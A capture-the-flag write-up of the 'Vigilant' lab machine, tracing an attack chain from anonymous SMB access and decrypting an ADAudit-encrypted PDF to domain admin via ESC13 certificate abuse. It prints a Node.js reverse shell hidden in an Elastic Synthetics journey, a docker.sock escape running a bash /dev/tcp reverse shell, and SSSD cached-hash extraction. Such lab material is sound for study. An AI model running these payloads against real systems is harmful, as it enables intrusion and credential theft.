Vigilant a hard rated chained machine involved enumerating smb shares to find an encrypted pdf file, analyzing the ADAudit
dll file to decrypt the contents of the file revealing credentials for kibana
, using synthetic monitoring
to obtain a shell on docker container, breaking out of the container through docker sock by creating a container and mounting the host file system, recovering hash from SSSD
for a domain user and escalating to local admin on domain controller through ESC13
DC.vigilant.vl
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: VIGILANT
| NetBIOS_Domain_Name: VIGILANT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vigilant.vl
| DNS_Computer_Name: DC.vigilant.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-04-21T16:06:29+00:00
5601/tcp open esmagent
9200/tcp open wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl
SRV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_ 256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT 80
Visiting the webserver, it shows us one pager site having nothing out of interest
PORT 445 (SMB)
Listing smb shares with anonymous user
IT
share can be accessed anonymously having password policy reoport which seems to be encrypted judging from the file name
On opening this file, it won’t be recognized by document reviewer as the contents of this file are encrypted
Decrypting the PDF File By Analyzing the Encrypt function
Since this report was generated by ADAudit tool, it’s possible that there might be something we need to grab from there, downloading ADAudit.dll file from share
On analyzing the dll file with ILSpy
we'll get the password for svc_auditreporter
Verifying these credentials through netexec to see if they are valid
We can also find what algorithm was used to encrypt the pdf file from ADAuditLib.dll
For encrypting the contents, it’s using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345
which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes
function and then writing the output, for decrypting it we can reverse the shuffling of bytes
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
Reverse the XORing and bitwise part
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
The resulting code will look like this for decryption
using System;
using System.IO;
public static class DecryptionUtility
{
public static void DecryptFile(string encryptedFilePath)
{
if (!File.Exists(encryptedFilePath))
{
throw new FileNotFoundException();
}
byte[] data = File.ReadAllBytes(encryptedFilePath);
UnshuffleBytes(ref data);
byte[] array = GenerateKey(data.Length);
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
File.WriteAllBytes(decryptedFilePath, data);
}
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
private static byte[] GenerateKey(int length)
{
byte[] array = new byte[length];
new Random(12345).NextBytes(array);
return array;
}
static public void Main(String[] args)
{
DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
}
}
Running this will decrypt the file present us with 4 set of user creds
Spraying these creds, we’ll get 3 valid hits and one user having password expired
Enumerating the domain first to see if we can go anywhere from the users we have
python3 /opt/BloodHound.py/bloodhound.py -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85
We have pamela.clark belonging to TECHSUPPORTERS
group
Alex.powell
belonging to ADTeams
Edwin.Dixon
in Accountants
group
And Daniel.Washington
in MarketingStartegies
group
Accessing Kibana With Pamela
But this doesn’t further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela’s password we can login
Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana
But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets
http://dc.vigilant.vl:5601/app/fleet
There are two agents, one is the linux server and the other is domain controller, so most likely we’ll be dealing with the linux machine as we have the integration for html page that we saw earlier
Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab’s wiki, that we can achieve it from Synthetics
, which is used for monitoring and test if the web site is functioning correctly
We already have the marketing page being monitored, we can run test scripts on this page, to do that we need to create what is called a monitor
, there's already a monitor configured, which is using type script to visit the marketing page
Using this script we can use file
protocol to read local files like /etc/passwd
As soon as this test will be completed it will take a screenshot, having the result
Getting a reverse shell through synthetic monitor
However just having the ability to read local files won’t lead us anywhere, we need to get a shell , the script that we have used it’s playwright
, an open source nodejs library for browser testing, when using child_process
to execute system command we'll get an error that only step definitions are allowed with inline scripts
For using external packages like child_process, we need to create journey
which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project
npx @elastic/synthetics init test
At initializing the project, we’ll be asked to provide the API key, generating the project API key from here
Modify the contents of example.journey.ts
from the journeys
directory
import { journey, step, expect } from '@elastic/synthetics';
journey('Ensure placeholder is correct', ({ page }) => {
step('Load the demo page', async () => {
await page.goto('http://10.8.0.136');
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(2222, "10.8.0.136", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
});
});
Using push
to create this project, it will create the monitor
Wait for few minutes for the monitor to be triggered having netcat listener and http server ready
From the filesystem, this seems like we are inside a docker container
Breaking out of container via docker sock
By running capsh
we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse
Since elastic-agent
is part of root group, docker.sock
can be mounted which can be used for communicating with docker daemon to mount the host file system
Using deepce
we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow
from the host by creating a container and mount the file system
We can run system commands on the host, so running a bash reverse shell
deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"
I placed my ssh public key to login as root just to get a proper shell as the container created didn’t had any binaries
Extracting cached credentials (SSSD creds)
From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf
, sssd is responsible for enabling the system to access authentication services such as active directory
Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache
. By default sssd maintains a copy of cached credential in /var/lib/sss/db
.
With tdbdump
we can read the contents of ldb cache file and we want to look for cachedPassword
gabriel.stewart’s sha512crypt hash can be cracked with either john or hashcat
Gabriel is a part of JUNIORADMINS
group which is further part of REMOTE MANAGEMENT USERS
Again there are no acls or any special privilege given to gabriel
Running certutil
this machine has ADCS installed
Certificate templates can be enumerated with certify but I’ll be using the python version certipy
as it had support for ESC13 added ly4k/Certipy#196
Escalating privileges through ESC13
certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout
certipy finds one template which gabriel can enroll, with a linked group Temporary Admins
having EKU
set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13
Having this certificate we can become a local admin to domain controller
certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096
Requesting TGT with the certificate
Now logging with winrm again but this time with ticket we obtained since as it represents that we are a member of temporary admin group
References
- https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html
- https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html
- https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html
- https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb
- https://download.docker.com/linux/static/stable/
- https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html
- https://github.com/stealthcopter/deepce
- ly4k/Certipy#196